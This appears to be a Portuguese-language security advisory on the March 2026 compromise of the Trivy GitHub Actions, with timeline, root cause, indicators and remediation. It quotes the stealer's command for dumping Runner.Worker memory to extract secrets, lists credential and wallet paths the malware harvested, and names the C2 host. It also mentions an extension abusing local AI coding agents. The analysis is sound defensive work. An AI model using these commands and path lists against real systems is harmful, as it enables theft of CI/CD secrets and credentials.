Comprometimento da cadeia de suprimentos do Trivy GitHub Actions

Resumo

• O que: Atacantes enviaram código malicioso por force push para 75 das 76 tags de versão em aquasecurity/trivy-action, além de comprometerem setup-trivy e o binário Trivy v0.69.4

• Período de exposição: \~12 horas (19 de março, 17:43 UTC a 20 de março, \~05:40 UTC)

• Impacto: Segredos de CI/CD roubados por meio da extração de memória dos processos do Runner; chaves SSH, credenciais de nuvem e carteiras de criptomoedas coletadas em runners autogerenciados

• Atribuição: TeamPCP (DeadCatx3/PCPcat/ShellForce), um grupo de ameaças que tem como alvo infraestruturas nativas da nuvem

• Causa raiz: Credenciais obtidas durante um comprometimento anterior em 1º de março, que por sua vez decorreu da exploração de um workflow pull_request_target

• Versões seguras: trivy v0.69.3, trivy-action v0.35.0, setup-trivy v0.2.6

• CVE: Ainda não atribuído (a comunidade solicitou um)

• Ação necessária: Fixe as versões usando SHAs de commit e faça a rotação de todos os segredos do pipeline se você executou uma versão afetada durante o período

Em 19 de março de 2026, atacantes enviaram código malicioso por force push para 75 das 76 tags de versão em aquasecurity/trivy-action, a GitHub Action oficial de um dos scanners de vulnerabilidades open source mais usados no ecossistema de segurança de contêineres. O payload malicioso roubava segredos de CI/CD silenciosamente antes de executar a verificação legítima do Trivy, fazendo os pipelines afetados parecerem funcionar normalmente.

Este foi o segundo comprometimento da infraestrutura do Trivy em menos de três semanas, com o atacante usando credenciais obtidas durante o primeiro incidente. Se o seu pipeline de CI/CD usa o Trivy por meio do GitHub Actions, você pode ter sido afetado. Veja o que aconteceu, como verificar e o que fazer.

O que aconteceu

O ataque de 19 de março teve como alvo simultaneamente três repositórios da Aqua Security:

• aquasecurity/trivy-action: 75 das 76 tags de versão foram alteradas para apontar para commits maliciosos com um programa de roubo de credenciais

• aquasecurity/setup-trivy: Sete tags de versões históricas foram excluídas e recriadas com código malicioso; somente v0.2.6 continua segura

• Binário Trivy v0.69.4: Uma versão maliciosa foi publicada no repositório oficial e propagada para o Docker Hub (aquasec/trivy:0.69.4), o GitHub Container Registry e o AWS ECR

O atacante alterou tags de versões existentes para que apontassem para novos commits contendo um arquivo entrypoint.sh modificado. Quando qualquer pipeline de CI/CD buscava trivy-action por tag (por exemplo, @v0.34.2, @v0.33.0 ou qualquer uma das dezenas de versões mais antigas), o entrypoint malicioso era executado antes da verificação legítima do Trivy e coletava credenciais silenciosamente.

Somente a versão v0.35.0 não foi afetada. Ela já apontava para o commit HEAD da branch master usado como base para as versões maliciosas, por isso a automação do atacante a ignorou.

Linha do tempo dos eventos de 19 de março (UTC) [^1]

Como a cadeia de ataque começou

Este foi o desfecho de um ataque em várias etapas que começou semanas antes.

Etapa 1: exploração do pull_request_target (final de fevereiro)

Um agente de ameaças usando o perfil do GitHub hackerbot-claw (conta criada em 20 de fevereiro de 2026) executou uma campanha automatizada para buscar workflows do GitHub Actions mal configurados em repositórios públicos. A campanha tinha como alvo específico workflows que usavam o gatilho de evento pull_request_target com permissões excessivas para tokens. Entre os alvos estavam Microsoft, DataDog, CNCF e Aqua Security.

O evento pull_request_target é um risco conhecido no GitHub Actions. Diferentemente de pull_request, ele é executado no contexto do repositório base, não do fork. Isso significa que workflows acionados por pull_request_target têm acesso aos segredos do repositório base. Se esse workflow também fizer checkout do código do pull request (o fork), um atacante poderá enviar um PR com código malicioso que será executado com acesso a esses segredos.

Abordamos exatamente esse padrão de ataque em nossa análise do ataque à cadeia de suprimentos de IA da Ultralytics em dezembro de 2024, quando uma injeção em template por meio de nomes de branches permitiu que atacantes executassem código arbitrário em contextos de workflows privilegiados.

O repositório do Trivy tinha um workflow pull_request_target vulnerável que estava presente desde outubro de 2025. A ferramenta poutine da Boost Security já o havia sinalizado em 29 de novembro de 2025, mais de três meses antes da exploração. Em 28 de fevereiro, hackerbot-claw explorou esse workflow para roubar um token de acesso pessoal (PAT) com escopo de organização (ORG_REPO_TOKEN) pertencente à conta de serviço aqua-bot. Esse PAT era usado em pelo menos 33 workflows na organização da Aqua Security no GitHub.

Etapa 2: Primeiro comprometimento (1º de março)

Com o PAT roubado, o atacante:

• Tornou temporariamente privado o repositório do Trivy

• Excluiu versões do GitHub entre v0.27.0 e v0.69.1

• Publicou uma extensão maliciosa do Trivy para VS Code pelo OpenVSX que tentava abusar de agentes de programação locais com IA

• Exfiltrou credenciais adicionais do ambiente de CI

A Aqua Security divulgou o incidente na discussão #10265 do GitHub e começou a trocar segredos e tokens. Como a equipe do Trivy observou mais tarde, "o processo não foi atômico, e os atacantes podem ter tido acesso aos tokens atualizados."

Etapa 3: Segundo comprometimento (19 de março)

Vinte dias depois, o atacante voltou com um payload mais complexo: um programa de roubo de credenciais em várias etapas, atribuído ao TeamPCP (também conhecido como DeadCatx3, PCPcat e ShellForce), um grupo de ameaças conhecido por atacar infraestruturas nativas da nuvem, com foco no roubo de criptomoedas.

Como tática adicional para dificultar a resposta ao incidente, o atacante usou a conta comprometida aqua-bot para excluir a discussão original do incidente (#10265), dificultando a coordenação da resposta pela comunidade.

Por dentro do payload malicioso

O arquivo entrypoint.sh injetado substituiu o entrypoint legítimo da verificação do Trivy por um ataque em três etapas. O "TeamPCP Cloud stealer", como foi chamado pelos próprios atacantes, usava técnicas diferentes para atingir ambientes distintos.

Em runners hospedados pelo GitHub

O malware usou acesso sudo sem senha (padrão em runners hospedados pelo GitHub) para:

1. Extrair o conteúdo da memória dos processos Runner.Worker, lendo /proc/<pid>/mem para obter segredos do GitHub Actions armazenados no heap do runtime .NET

2. Analisar os segredos na memória, visando especificamente objetos JSON que correspondessem ao padrão {"value":"<secret>","isSecret":true}

3. Examinar /proc/*/environ para coletar variáveis de ambiente de todos os processos em execução

Essa é a mesma técnica de extração de memória documentada no comprometimento do tj-actions/changed-files de março de 2025. Os segredos passados aos workflows do GitHub Actions são descriptografados durante a execução e mantidos na memória do processo Runner, onde ficam acessíveis a qualquer código executado no mesmo ambiente de runner.

O script completo usado para roubar credenciais foi compartilhado no tópico de problemas do trivy-action e analisado de forma independente. Veja a lógica principal de extração de memória:

# Locate Runner.Worker process
runner_pid=$(ps aux | grep 'Runner.Worker' | grep -v grep | awk '{print $2}' | head -1)
# Dump process memory and extract secrets
grep -ao '{"value":"[^"]*","isSecret":true}' /proc/$runner_pid/mem

Em runners autogerenciados

Em runners autogerenciados, o malware fez uma varredura abrangente do sistema de arquivos, percorrendo mais de 50 caminhos sensíveis e buscando:

• Chaves SSH e credenciais do Git

• Credenciais de provedores de nuvem: configurações da AWS, GCP e Azure

• Tokens do Kubernetes e arquivos kubeconfig

• Credenciais do Docker e autenticação em registros

• Strings de conexão com bancos de dados

• Arquivos de estado do Terraform (que muitas vezes contêm segredos em texto simples)

• Carteiras de criptomoedas: pares de chaves de Bitcoin, Ethereum, Solana e Cardano

• Arquivos de ambiente: .env e variantes

• Certificados TLS e chaves privadas

• Arquivos de histórico do shell

• Configurações de VPN

Em máquinas de desenvolvedores

Se o malware fosse detectado, ele não estaria sendo executado dentro do GitHub Actions (ou seja, GITHUB_ACTIONS != "true"); nesse caso, instalava um mecanismo de persistência: um dropper em Python gravado em ~/.config/systemd/user/sysmon.py, acompanhado de uma unidade de usuário do systemd. Esse dropper consultava um endpoint ICP (Internet Computer Protocol) controlado pelo atacante em busca de payloads adicionais.

Exfiltração

Os dados coletados eram criptografados com AES-256-CBC e derivação de chave PBKDF2, protegidos com padding RSA-4096 OAEP, compactados como tpcp.tar.gz e enviados por HTTPS POST ao domínio typosquatting scan[.]aquasecurtiy[.]org (observe a inversão dos caracteres i e t em "security"). O servidor C2 estava no IP 45.148.10.212, registrado para a TECHOFF SRV LIMITED, em Amsterdã.

Se o canal principal de exfiltração falhasse, o malware tinha dois mecanismos alternativos:

1. Cloudflare Tunnel: exfiltração por meio de plug-tab-protective-relay.trycloudflare.com

2. GitHub como repositório intermediário: usando o próprio token INPUT_GITHUB_PAT da vítima, o malware criava um repositório público chamado tpcp-docs na conta da vítima no GitHub e enviava os dados roubados e criptografados como assets de uma versão. O atacante podia então encontrar esses repositórios por meio de buscas no GitHub.

O alcance completo do roubo de credenciais

O script de roubo em Python decodificado de setup-trivy (recuperado de uma execução de workflow capturada) revela o alcance exaustivo do roubo de credenciais. O malware tinha como alvo mais de 50 caminhos do sistema de arquivos, incluindo:

# SSH keys and configs
'/.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/authorized_keys'

# Cloud credentials
'/.aws/credentials', '/.aws/config'
'/.config/gcloud/application_default_credentials.json'
'/.azure/*'
'/.kube/config'

# CI/CD and infrastructure secrets
'/.docker/config.json', '/.npmrc', '/.vault-token', '/.netrc'
'terraform.tfvars', 'terraform.tfstate'

# Cryptocurrency wallets (50+ paths)
'/.bitcoin/wallet.dat', '/.ethereum/keystore/*'
'/.config/solana/*', '/.cardano/*.skey'
'/validator-keypair.json', '/vote-account-keypair.json'

O script também tentou acessar serviços de metadados de nuvem (169.254.169.254, 169.254.170.2) para obter credenciais de IAM, executou kubectl get secrets --all-namespaces e fez buscas recursivas por chaves de API, URLs de webhooks e strings de conexão com bancos de dados.

O binário trivy falsificado (v0.69.4)

Além do que foi roubado dos usuários da Action, o workflow de lançamento comprometido também expôs segredos valiosos da própria Aqua Security: credenciais do Docker Hub, chaves de acesso ao AWS ECR, chaves de assinatura GPG (usadas para assinar pacotes RPM) e o PAT do GitHub com escopo de organização usado em mais de 33 workflows.

O binário comprometido do Trivy adotou uma abordagem diferente. Ele reescreveu o workflow de release para referenciar actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0, que parece um pin de SHA legítimo, mas na verdade apontava para um commit de um fork, não do repositório oficial actions/checkout. Isso explora um comportamento sutil da plataforma GitHub: uma referência uses: owner/repo@<hash> não verifica se o hash pertence ao repositório indicado. Como o Git compartilha objetos entre forks, qualquer commit de qualquer fork pode ser acessado pelo SHA. O build buscou arquivos Go maliciosos no C2, adicionou --skip=validate ao GoReleaser para ignorar a validação do build e substituiu .golangci.yaml para suprimir avisos do linter sobre o código injetado. Os binários resultantes executavam o scanner legítimo do Trivy em paralelo ao ladrão de credenciais, fazendo com que os resultados das verificações parecessem normais.

Indicadores de detecção

Os commits maliciosos tinham vários sinais reveladores que, em retrospecto, deixavam a falsificação evidente:

• Commits sem assinatura: as releases originais do Trivy eram assinadas com GPG pela interface web do GitHub. Os commits que as substituíram não eram.

• Carimbos de data e hora impossíveis: os commits forjados copiaram as datas das releases originais, mas seus commits pais eram de março de 2026, criando relações impossíveis entre as datas dos commits.

• "0 commits para master desde esta release": a interface de releases do GitHub exibia esse contador para tags que deveriam estar muitas versões atrás de master, indicando que cada tag apontava para um commit cujo pai era o HEAD atual de master.

• Alterações em um único arquivo: cada commit malicioso modificava apenas entrypoint.sh, ao contrário dos commits originais com vários arquivos que estavam sendo imitados.

O Harden-Runner da StepSecurity detectou conexões de saída com o C2 em mais de 12.000 repositórios públicos por meio do nível comunitário, permitindo notificar diretamente os projetos afetados.

Indicadores de comprometimento [^2]

Você foi afetado?

Você pode ter sido afetado se:

1. Seus workflows usam aquasecurity/trivy-action referenciado por tag (por exemplo, @v0.34.2, @v0.18.0 ou qualquer tag de versão diferente de @v0.35.0)

2. Seus workflows usam aquasecurity/setup-trivy em qualquer versão diferente de @v0.2.6

3. Você baixou o Trivy v0.69.4 por download direto, Docker (aquasec/trivy:0.69.4) ou GHCR entre 19 e 20 de março de 2026

4. Qualquer um dos casos acima ocorreu durante o período de exposição: de 19 de março de 2026, às 17:43 UTC, até 20 de março, por volta das 05:40 UTC

O período de exposição confirmado foi de aproximadamente 12 horas. Se o trivy-action foi executado fora desse período, você não foi afetado pelo comprometimento das tags (mas ainda assim deve fixar as versões por SHA daqui em diante).

Observação sobre referências a @master: quando perguntaram se os workflows fixados em aquasecurity/trivy-action@master estavam seguros, o mantenedor do Trivy DmitriyLewen respondeu: "Não sabemos como o invasor criou o commit órfão. Portanto, não posso afirmar que aquasecurity/trivy-action@master estava 100% seguro."

Observação sobre o Homebrew: embora o Homebrew tenha obtido inicialmente a versão v0.69.4, ele compila a partir de tarballs de código-fonte. O binário compilado não tinha backdoor. Mesmo assim, foi aberta uma PR emergencial para fazer o downgrade (Homebrew/homebrew-core#273304).

Como verificar

Revise os arquivos de workflow em busca de referências ao trivy-action:

# Search your repos for trivy-action usage
grep -r "aquasecurity/trivy-action" .github/workflows/
grep -r "aquasecurity/setup-trivy" .github/workflows/

Confira os logs de execução do GitHub Actions no período afetado. Procure execuções após 19 de março de 2026, às 17:43 UTC, que tenham usado o trivy-action.

Verifique se houve exfiltração pelo método de fallback:

# Search your GitHub org for the attacker's dead-drop repos
gh repo list YOUR-ORG --json name -q '.[].name' | grep tpcp-docs

Confira os logs de rede em busca de conexões com o domínio C2 (scan[.]aquasecurtiy[.]org) ou o IP (45.148.10.212).

Medidas imediatas de correção

1. Pare de usar o trivy-action por tag

Remova ou atualize imediatamente todas as referências nos workflows. Opções seguras:

# Option A: Pin to a known-safe commit SHA
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

# Option B: Use the only uncompromised tag (verify SHA first)
- uses: aquasecurity/trivy-action@v0.35.0

Para setup-trivy, a única versão segura é v0.2.6.

2. Faça a rotação de todas as credenciais

Se alguma ação afetada foi executada no seu pipeline, considere todos os segredos acessíveis a esse workflow comprometidos. Isso inclui:

• Tokens do GitHub (tanto GITHUB_TOKEN quanto quaisquer PATs)

• Credenciais de provedores de nuvem (chaves de acesso da AWS, chaves de contas de serviço do GCP e credenciais do Azure)

• Tokens de registro de contêineres (Docker Hub, GHCR, ECR etc.)

• Chaves SSH

• Senhas de banco de dados

• Chaves de API e segredos de webhook

3. Verifique se o invasor deixou mecanismos de persistência

Em runners auto-hospedados e máquinas de desenvolvedores, procure o mecanismo de persistência:

# Check for the TeamPCP dropper
ls -la ~/.config/systemd/user/sysmon.py
systemctl --user list-units | grep sysmon

4. Verifique se houve exfiltração pelo método de fallback

Pesquise na sua organização do GitHub repositórios chamados tpcp-docs. Se encontrar algum, o invasor conseguiu exfiltrar dados do seu pipeline.

5. Execute o scanner de comprometimento

A StepSecurity lançou a ferramenta dedicada trivy-compromise-scanner, que audita os logs de execução dos workflows do GitHub Actions em repositórios ou organizações inteiras, procurando execuções que usaram uma referência de ação comprometida durante o período do ataque.

O que a Aqua Security fez desde então

Após o incidente, os mantenedores do Trivy:

• Restauraram todas as tags do trivy-action para os commits seguros originais, adotando uma nova convenção de nomenclatura com o prefixo v (por exemplo, 0.34.0 agora é v0.34.0)

• Habilitaram releases imutáveis nos repositórios trivy, trivy-action e setup-trivy, impedindo futuros force-pushes de tags

• Removeram todos os artefatos maliciosos do Docker Hub, GHCR, AWS ECR e GitHub Releases

• Restringiram as ações automatizadas e os tokens em toda a organização

Como observou o mantenedor DmitriyLewen na discussão da issue: "Independentemente dos incidentes, é sempre melhor usar hashes de commit."

CVE-2026-28353 (CVSS 10.0) foi atribuída ao comprometimento da extensão do VS Code no primeiro incidente, mas nenhuma CVE foi atribuída especificamente ao ataque de sequestro de tags de 19 de março, apesar dos pedidos da comunidade por uma divulgação formal. Uma vulnerabilidade separada e anterior (CVE-2026-26189 / GHSA-9p44-j4g5-cfx5, CVSS 5.9), que afetava a injeção de scripts na ação composta, foi corrigida na v0.34.0 antes do ataque à cadeia de suprimentos.

O Harden-Runner da StepSecurity já abriu issues de alerta de segurança em projetos de código aberto afetados, incluindo Fluent Bit (CNCF), k8gb (DNS do Kubernetes), HL7 FHIR IG Publisher (padrões de saúde) e Charmed Kubeflow, da Canonical.

Lições para proteger o GitHub Actions

Este incidente, junto com o comprometimento do tj-actions/changed-files e o ataque Clinejection ao pipeline de CI/CD do Cline, reforça um padrão: ataques à cadeia de suprimentos do GitHub Actions são um risco recorrente para organizações que usam CI/CD. Se você não auditou recentemente a postura de segurança do seu pipeline, agora é a hora.

Fixe as ações por SHA de commit, não por tag

Tags são mutáveis. Qualquer pessoa com acesso de gravação pode fazer force-push de uma tag para apontar para um commit completamente diferente. SHAs de commit são imutáveis.

# Vulnerable: tag can be rewritten at any time
- uses: aquasecurity/trivy-action@v0.34.2

# Secure: commit SHA is immutable
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1

Essa é a defesa mais importante contra esse tipo de ataque. O próprio guia de fortalecimento da segurança do GitHub recomenda fixar as ações por SHAs de commit completos.

Ferramentas como zizmor (análise estática de workflows do GitHub Actions), pinact (fixação automática por SHA), secure-repo da StepSecurity e a opção pinGitHubActionDigests do Renovate podem automatizar esse processo em toda a organização.

Audite os workflows pull_request_target

A causa raiz de toda essa cadeia de ataques foi um workflow pull_request_target mal configurado. Se os seus repositórios usam esse gatilho de evento, faça uma auditoria cuidadosa:

• Ele faz checkout do código da PR? Se fizer, provavelmente está vulnerável.

• Ele tem permissões de gravação ou acesso a segredos? Reduza essas permissões ao mínimo.

• Você pode usar pull_request no lugar? Na maioria dos casos, pode.

O incidente da Ultralytics demonstrou o mesmo padrão de vulnerabilidade. O mesmo aconteceu no ataque Clinejection, em que uma injeção de prompt no título de uma issue do GitHub permitiu que invasores executassem código em um contexto de workflow privilegiado.

Use tokens restritos a repositórios, não PATs com escopo de organização

O ORG_REPO_TOKEN roubado deu ao invasor acesso a mais de 33 workflows na organização da Aqua Security. Tokens restritos a repositórios limitam o alcance de qualquer comprometimento de credenciais. Para automatizar releases, a opção mais segura é usar tokens de acesso pessoal com permissões granulares ou tokens de instalação de apps do GitHub restritos a repositórios específicos.

Monitore as conexões de rede de saída do CI/CD

Os comprometimentos do tj-actions e do Trivy foram detectados inicialmente por atividades anômalas de rede de saída dos runners de CI. Vale notar que force-pushes de tags não aparecem nos dados de eventos do GitHub Archive, o que cria um ponto cego para o monitoramento baseado em eventos. Atualmente, o monitoramento de rede em tempo de execução é a camada de detecção mais confiável. Ferramentas como o StepSecurity Harden-Runner podem monitorar e restringir o acesso à rede dos seus workflows do GitHub Actions, e o poutine pode verificar organizações inteiras do GitHub em busca de riscos na cadeia de suprimentos de CI/CD.

Exija commits assinados com GPG nas releases

Os commits maliciosos desse ataque não tinham assinatura, enquanto as releases legítimas eram assinadas com GPG. A verificação de assinaturas nas tags de release é uma camada que dificulta executar esse tipo de ataque sem ser detectado.

Faça a rotação completa das credenciais

O ataque de 19 de março explorou credenciais que continuaram válidas após a rotação feita depois do incidente de 1º de março, como a Aqua Security reconheceu. Isso reforça a lição do incidente de rotação de segredos da CircleCI: ao responder a um comprometimento de credenciais:

• Faça a rotação de todas as credenciais de forma atômica (ou o mais perto possível disso)

• Considere que qualquer credencial acessível pelo ambiente comprometido foi exfiltrada

• Verifique a rotação confirmando que as credenciais antigas foram invalidadas, não apenas que as novas funcionam

O panorama geral

Quase exatamente um ano após o comprometimento do tj-actions/changed-files, ocorreu novamente um ataque da mesma categoria. Vale examinar as semelhanças estruturais:

O incidente do Trivy mostra como padrões conhecidos de ataques à cadeia de suprimentos se combinam na prática. Nenhuma vulnerabilidade isolada era inédita:

• As configurações incorretas de pull_request_target são documentadas há anos

• A mutabilidade de tags no GitHub Actions é uma limitação de design conhecida

• A extração de memória de processos Runner.Worker foi observada pela primeira vez no comprometimento do tj-actions

• Domínios C2 com typosquatting são uma técnica padrão de exfiltração

O que tornou esse ataque eficaz foi a combinação dessas técnicas em uma campanha persistente e composta por várias etapas. A exploração inicial do pull_request_target levou ao roubo de credenciais, que o invasor usou para lançar um segundo ataque que alcançou milhares de pipelines downstream.

Para as equipes de segurança, a lição é clara: seu pipeline de CI/CD faz parte da superfície de ataque. As ferramentas executadas nele, incluindo os scanners de segurança, são dependências que exigem o mesmo nível de análise dedicado às dependências da sua aplicação. Proteger seu pipeline de CI/CD merece o mesmo rigor que proteger o código da sua aplicação.

Fixe suas actions a SHAs de commit. Restrinja o escopo dos seus tokens. Faça a rotação completa dos seus segredos. Monitore o tráfego de rede dos seus runners. E, quando ocorrer um incidente, considere comprometida toda credencial acessível até confirmar o contrário.

Esta é uma história em desenvolvimento. Para ver as atualizações mais recentes, consulte o comunicado oficial da Aqua Security (discussão #10425).

Play Video: YouTube Video: 5xngh29yx9A

Como usar variáveis de ambiente e segredos no GitHub Actions — Saiba como gerenciar segredos corretamente nos fluxos de trabalho do GitHub Actions para reduzir sua exposição a ataques à cadeia de suprimentos.